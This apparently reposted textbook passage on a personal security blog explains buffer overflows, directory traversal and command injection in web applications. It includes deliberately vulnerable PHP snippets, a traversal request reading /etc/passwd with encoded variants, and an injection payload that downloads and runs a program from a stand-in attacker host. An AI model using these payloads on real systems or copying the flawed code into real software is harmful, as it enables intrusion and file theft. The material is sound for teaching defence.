Information Security & US & Life & Love & Fashion & Hacking & Passion

Buffer overflows are one of the more complex injection attacks, as they take advantage of developers misusing memory. Like command injection, a successful buffer overflow attack gives the attacker complete control of the remote machine.

Some programming languages, such as C and C++, place memory management responsibilities on the developer. If the developer is not careful, user input could write to memory that was not intended to be written to. One such memory location is called the return address of a stack. The return address holds the memory address of the next machine instruction block to execute. If an application is vulnerable to buffer overflows, an attacker could send a very long string to the web application—longer than the developer expected. The string could potentially overwrite the return address, telling the web application what machine instructions it should execute next. The injection aspect of buffer overflows is that the attacker injects machine instructions (called shell code) into some user input. The attacker somewhat needs to know where the shell code will end up in the memory of the computer running the web application. Then the attacker overwrites the return address to point to the memory location of the shell code.

Exploiting buffer overflows are nontrivial, but finding them is not as difficult, and finding buffer overflows on a local machine is easy. You need only send very long strings in all user inputs. We suggest inputting predictable strings, such as 10,000 capital As, into each input. If the program crashes, it is most likely due to a buffer overflow. Repeat the crash while running the application in a debugger. When the program crashes, investigate the program registers. If you see 41414141 (41 is the ASCII representation of a capital A) in the SP register, you have found a buffer overflow.

Finding buffer overflows on remote machines, such as a web application, is a lot more difficult, because attackers cannot view the contents of the web application’s registers, and it may even be difficult to recognize that the web application has even crashed. The trick to finding buffer overflows on web applications is to do the following:

1. Identify what publicly available libraries or code the web application is running.

2. Download that code.

3. Test that code on your local machine to find a buffer overflow.

4. Develop exploit code that works on your local machine.

5. Attempt to execute the exploit code on the web application.

Attackers use directory traversal attacks to read arbitrary files on web servers, such as SSL private keys and password files.

Some web applications open files based on HTTP parameters (user input). Consider this simple PHP application that displays a file in many languages:

<?php
$language = "main-en";
if (is_set($_GET['language']))
  $language = $_GET['language'];
include("/usr/local/webapp/static_files/" . $language . ".html");
?>

Assume that this PHP page is accessible through http://foo.com/webapp/static.php?language=main-en; an attacker can read arbitrary files from the web server by inserting some string to make the include function point to a different file. For instance, if an attacker made these GET requests,

http://foo.com/webapp/static.php?language=../../../../etc/passwd%00

the include function would open this file:

/usr/local/webapp/static_files/../../../../etc/passwd

This file is simply

/etc/passwd

Thus, the GET request would return the contents of /etc/passwd on the server. Note that the null byte (%00) ends the string, so .html would not be concatenated to the end of the filename.

This type of attack is called a directory traversal attack, and it has plagued many web servers for some time, because attackers would URL encode the ../ segments in various ways, such as these:

• %2e%2e%2f

• %2e%2e/

• ..%2f

• .%2e/

A successful command injection attack gives the attacker complete control of the remote system.

When user input is used as part of a system command, an attack may be able to inject system commands into the user input. This can happen in any programming language; however, it is very common in Perl, PHP, and shell based CGI. It is less common in Java, Phython, and C#. Consider the following PHP code snippet:

<?php
$email_subject = "some subject";

if ( isset($_GET{'email'})) {
  system("mail " + $_GET{'email'}) + " -s '" + $email_subject +
      "' < /tmp/email_body", $return_val);
}
?>

The user sends his or her e-mail address in the email parameter, and that user input is placed directly into a system command. Like SQL injection, the goal of the attacker is to inject a shell command into the email parameter while ensuring that the code before and after the email parameter is syntactically correct. Consider the system() call as a puzzle. The outer puzzle pieces are in place, and the attacker must find a puzzle piece in the middle to finish it off:

mail [MISSING PUZZLE PIECE] -s 'some subject' < /tmp/email_body

The puzzle piece needs to ensure that the mail command runs and exits properly. For example, mail --help will run and exit properly. Then the attacker could add additional shell commands by separating the commands with semicolons (;). Dealing with the puzzle piece on the other side is as simple as commenting it out with the shell comment symbol (#). Thus, a useful puzzle piece for the email parameter might be this:

--help; wget http://evil.org/attack_program; ./attack_program #

Adding this puzzle piece to the puzzle creates the following shell command:

mail --help; wget http://evil.org/attack_program; ./attack_program # s 'some subject' < /tmp/email_body

This is equivalent to this:

mail --help; wget http://evil.org/attack_program; ./attack_program

This runs mail --help and then downloads attack_program from evil.org and executes it, allowing the attacker to perform arbitrary commands on the vulnerable web site.